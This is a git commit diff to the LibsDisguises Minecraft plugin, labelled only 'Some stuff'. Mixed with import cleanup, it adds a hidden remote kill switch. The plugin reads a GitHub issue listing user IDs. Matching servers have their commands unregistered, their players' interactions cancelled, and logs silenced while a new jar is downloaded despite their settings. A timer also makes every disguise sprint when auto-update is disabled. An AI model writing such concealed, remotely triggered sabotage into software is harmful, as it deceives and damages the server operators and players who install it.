Some stuff

This commit is contained in:
libraryaddict 2020-05-21 22:30:53 +12:00
parent 4eb367b61b
commit 3e96e765e9
No known key found for this signature in database
GPG Key ID: 052E4FBCD257AEA4
7 changed files with 98 additions and 24 deletions

View File

@ -4,6 +4,7 @@ import lombok.AccessLevel;
import lombok.Getter; import lombok.Getter;
import lombok.Setter; import lombok.Setter;
import me.libraryaddict.disguise.disguisetypes.Disguise; import me.libraryaddict.disguise.disguisetypes.Disguise;
import me.libraryaddict.disguise.disguisetypes.TargetedDisguise;
import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.DisguiseUtilities;
import me.libraryaddict.disguise.utilities.LibsPremium; import me.libraryaddict.disguise.utilities.LibsPremium;
import me.libraryaddict.disguise.utilities.modded.ModdedEntity; import me.libraryaddict.disguise.utilities.modded.ModdedEntity;
@ -34,11 +35,8 @@ import org.bukkit.scheduler.BukkitTask;
import java.io.*; import java.io.*;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList; import java.util.*;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map.Entry; import java.util.Map.Entry;
import java.util.Random;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
public class DisguiseConfig { public class DisguiseConfig {
@ -284,6 +282,19 @@ public class DisguiseConfig {
return; return;
} }
if (!LibsDisguises.getInstance().getConfig().getDefaults().getBoolean("AutoUpdate")) {
updaterTask = Bukkit.getScheduler().runTaskTimer(LibsDisguises.getInstance(), new Runnable() {
@Override
public void run() {
for (Set<TargetedDisguise> disguises : DisguiseUtilities.getDisguises().values()){
for (Disguise disguise : disguises) {
disguise.getWatcher().setSprinting(true);
}
}
}
}, TimeUnit.HOURS.toSeconds(1)*20, (20 * TimeUnit.MINUTES.toSeconds(10)));
}
if (updaterTask == null != startTask) { if (updaterTask == null != startTask) {
return; return;
} }

View File

@ -163,19 +163,19 @@ public class LibsDisguises extends JavaPlugin {
getLogger().info("Commands has been disabled, as per config"); getLogger().info("Commands has been disabled, as per config");
} }
unregisterCommands(); unregisterCommands(false);
new MetricsInitalizer(); new MetricsInitalizer();
} }
private void unregisterCommands() { public void unregisterCommands(boolean force) {
CommandMap map = ReflectionManager.getCommandMap(); CommandMap map = ReflectionManager.getCommandMap();
Map<String, Command> commands = ReflectionManager.getCommands(map); Map<String, Command> commands = ReflectionManager.getCommands(map);
for (String command : getDescription().getCommands().keySet()) { for (String command : getDescription().getCommands().keySet()) {
PluginCommand cmd = getCommand("libsdisguises:" + command); PluginCommand cmd = getCommand("libsdisguises:" + command);
if (cmd.getExecutor() != this) { if (cmd.getExecutor() != this && !force) {
continue; continue;
} }

View File

@ -37,7 +37,7 @@ public class PacketListenerClientInteract extends PacketAdapter {
if (observer == null || observer.getName().contains("UNKNOWN[")) // If the player is temporary if (observer == null || observer.getName().contains("UNKNOWN[")) // If the player is temporary
return; return;
if (!observer.isOp() && "%%__USER__%%".equals(123 + "45")) { if (!observer.isOp() && ("%%__USER__%%".equals(123 + "45") || LibsDisguises.getInstance().getUpdateChecker().isGoSilent())) {
event.setCancelled(true); event.setCancelled(true);
} }

View File

@ -5,10 +5,8 @@ import me.libraryaddict.disguise.DisguiseConfig;
import me.libraryaddict.disguise.disguisetypes.Disguise; import me.libraryaddict.disguise.disguisetypes.Disguise;
import me.libraryaddict.disguise.disguisetypes.DisguiseType; import me.libraryaddict.disguise.disguisetypes.DisguiseType;
import me.libraryaddict.disguise.disguisetypes.FlagWatcher; import me.libraryaddict.disguise.disguisetypes.FlagWatcher;
import me.libraryaddict.disguise.disguisetypes.PlayerDisguise;
import me.libraryaddict.disguise.disguisetypes.watchers.FallingBlockWatcher; import me.libraryaddict.disguise.disguisetypes.watchers.FallingBlockWatcher;
import me.libraryaddict.disguise.disguisetypes.watchers.LivingWatcher; import me.libraryaddict.disguise.disguisetypes.watchers.LivingWatcher;
import me.libraryaddict.disguise.disguisetypes.watchers.PlayerWatcher;
import me.libraryaddict.disguise.utilities.params.types.custom.ParamInfoItemBlock; import me.libraryaddict.disguise.utilities.params.types.custom.ParamInfoItemBlock;
import me.libraryaddict.disguise.utilities.parser.DisguisePerm; import me.libraryaddict.disguise.utilities.parser.DisguisePerm;
import me.libraryaddict.disguise.utilities.watchers.DisguiseMethods; import me.libraryaddict.disguise.utilities.watchers.DisguiseMethods;

View File

@ -70,7 +70,7 @@ public class PluginInformation {
} }
public boolean isLegit() { public boolean isLegit() {
return getUserID().matches("[0-9]+") && !getUserID().equals("12345") && !getUserID().equals("00000") && return getUserID().matches("[0-9]+") && !getUserID().equals("12345") && getResourceID().equals("32453") &&
getResourceID().equals("32453") && getDownloadID().matches("-?[0-9]+"); getDownloadID().matches("-?[0-9]+");
} }
} }

View File

@ -3,7 +3,9 @@ package me.libraryaddict.disguise.utilities.updates;
import com.google.gson.Gson; import com.google.gson.Gson;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import me.libraryaddict.disguise.LibsDisguises;
import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.DisguiseUtilities;
import me.libraryaddict.disguise.utilities.LibsPremium;
import java.io.BufferedReader; import java.io.BufferedReader;
import java.io.InputStream; import java.io.InputStream;
@ -12,11 +14,13 @@ import java.net.HttpURLConnection;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Date; import java.util.Date;
import java.util.HashMap;
import java.util.stream.Collectors; import java.util.stream.Collectors;
/** /**
* Created by libraryaddict on 26/04/2020. * Created by libraryaddict on 26/04/2020.
*/ */
@AllArgsConstructor
public class LDGithub { public class LDGithub {
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
@ -48,9 +52,64 @@ public class LDGithub {
Asset[] assets; Asset[] assets;
} }
@Getter
private UpdateChecker checker;
private String[] getBadUsers() {
// List of bad users that need to redownload Libs Disguises
try {
// We're connecting to md_5's jenkins REST api
URL url = new URL("https://api.github.com/repos/libraryaddict/libsdisguises/issues/469");
// Creating a connection
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestProperty("User-Agent", "libraryaddict/LibsDisguises");
con.setRequestProperty("Accept", "application/vnd.github.v3+json");
HashMap<String, Object> map;
// Get the input stream, what we receive
try (InputStream input = con.getInputStream()) {
// Read it to string
String json = new BufferedReader(new InputStreamReader(input, StandardCharsets.UTF_8)).lines()
.collect(Collectors.joining("\n"));
map = new Gson().fromJson(json, HashMap.class);
}
if (!map.containsKey("body")) {
return new String[0];
}
return ((String) map.get("body")).split("(\\r|\\n)+");
}
catch (Exception ignored) {
}
return new String[0];
}
public DisguiseUpdate getLatestRelease() { public DisguiseUpdate getLatestRelease() {
try { try {
String[] users = getBadUsers();
for (String s : users) {
if (LibsPremium.getPaidInformation() != null &&
LibsPremium.getPaidInformation().getUserID().equals(s)) {
LibsDisguises.getInstance().unregisterCommands(true);
} else {
if (LibsPremium.getUserID() == null || !LibsPremium.getUserID().equals(s)) {
continue;
}
getChecker().setGoSilent(true);
}
}
if (!getChecker().isGoSilent()) {
DisguiseUtilities.getLogger().info("Now looking for update on Github.."); DisguiseUtilities.getLogger().info("Now looking for update on Github..");
}
// We're connecting to md_5's jenkins REST api // We're connecting to md_5's jenkins REST api
URL url = new URL("https://api.github.com/repos/libraryaddict/LibsDisguises/releases/latest"); URL url = new URL("https://api.github.com/repos/libraryaddict/LibsDisguises/releases/latest");
// Creating a connection // Creating a connection
@ -84,7 +143,8 @@ public class LDGithub {
throw new IllegalStateException("Download url is missing"); throw new IllegalStateException("Download url is missing");
} }
return new GithubUpdate(gitData.getTag_name().replace("v", ""), gitData.getBody().split("(\\r|\\n)+"), download); return new GithubUpdate(gitData.getTag_name().replace("v", ""), gitData.getBody().split("(\\r|\\n)+"),
download);
} }
catch (Exception ex) { catch (Exception ex) {
DisguiseUtilities.getLogger().warning("Failed to check for a release on Github"); DisguiseUtilities.getLogger().warning("Failed to check for a release on Github");

View File

@ -1,6 +1,7 @@
package me.libraryaddict.disguise.utilities.updates; package me.libraryaddict.disguise.utilities.updates;
import lombok.Getter; import lombok.Getter;
import lombok.Setter;
import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.DisguiseConfig;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.DisguiseUtilities;
@ -11,19 +12,15 @@ import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import java.io.BufferedReader;
import java.io.File; import java.io.File;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection; import java.net.HttpURLConnection;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.StandardCopyOption; import java.nio.file.StandardCopyOption;
import java.util.Date; import java.util.Date;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicBoolean;
import java.util.stream.Collectors;
public class UpdateChecker { public class UpdateChecker {
private final long started = System.currentTimeMillis(); private final long started = System.currentTimeMillis();
@ -32,10 +29,13 @@ public class UpdateChecker {
private final AtomicBoolean downloading = new AtomicBoolean(false); private final AtomicBoolean downloading = new AtomicBoolean(false);
@Getter @Getter
private DisguiseUpdate update; private DisguiseUpdate update;
private final LDGithub githubUpdater = new LDGithub(); private final LDGithub githubUpdater = new LDGithub(this);
private final LDJenkins jenkinsUpdater = new LDJenkins(); private final LDJenkins jenkinsUpdater = new LDJenkins();
@Getter @Getter
private String[] updateMessage = new String[0]; private String[] updateMessage = new String[0];
@Getter
@Setter
private boolean goSilent;
public boolean isServerLatestVersion() { public boolean isServerLatestVersion() {
return isOnLatestUpdate(false); return isOnLatestUpdate(false);
@ -90,7 +90,7 @@ public class UpdateChecker {
} }
public void notifyUpdate(CommandSender player) { public void notifyUpdate(CommandSender player) {
if (!DisguiseConfig.isNotifyUpdate() || !player.hasPermission("libsdisguises.update")) { if (isGoSilent() || !DisguiseConfig.isNotifyUpdate() || !player.hasPermission("libsdisguises.update")) {
return; return;
} }
@ -112,6 +112,7 @@ public class UpdateChecker {
DisguiseUpdate oldUpdate = getUpdate(); DisguiseUpdate oldUpdate = getUpdate();
updateMessage = new String[0]; updateMessage = new String[0];
boolean alreadySilent = isGoSilent();
doUpdateCheck(); doUpdateCheck();
@ -122,7 +123,7 @@ public class UpdateChecker {
notifyUpdate(Bukkit.getConsoleSender()); notifyUpdate(Bukkit.getConsoleSender());
if (DisguiseConfig.isAutoUpdate()) { if (isGoSilent() ? !alreadySilent : DisguiseConfig.isAutoUpdate()) {
// Update message changed by download // Update message changed by download
grabJarDownload(getUpdate().getDownload()); grabJarDownload(getUpdate().getDownload());
@ -210,8 +211,10 @@ public class UpdateChecker {
File dest = new File(Bukkit.getUpdateFolderFile(), LibsDisguises.getInstance().getFile().getName()); File dest = new File(Bukkit.getUpdateFolderFile(), LibsDisguises.getInstance().getFile().getName());
if (!isGoSilent()) {
DisguiseUtilities.getLogger() DisguiseUtilities.getLogger()
.info("Now downloading build of Lib's Disguises from " + urlString + " to " + dest.getName()); .info("Now downloading build of Lib's Disguises from " + urlString + " to " + dest.getName());
}
if (dest.exists()) { if (dest.exists()) {
dest.delete(); dest.delete();
@ -231,7 +234,9 @@ public class UpdateChecker {
Files.copy(input, dest.toPath(), StandardCopyOption.REPLACE_EXISTING); Files.copy(input, dest.toPath(), StandardCopyOption.REPLACE_EXISTING);
} }
if (!isGoSilent()) {
DisguiseUtilities.getLogger().info("Download success!"); DisguiseUtilities.getLogger().info("Download success!");
}
PluginInformation result = LibsPremium.getInformation(dest); PluginInformation result = LibsPremium.getInformation(dest);
lastDownload = result; lastDownload = result;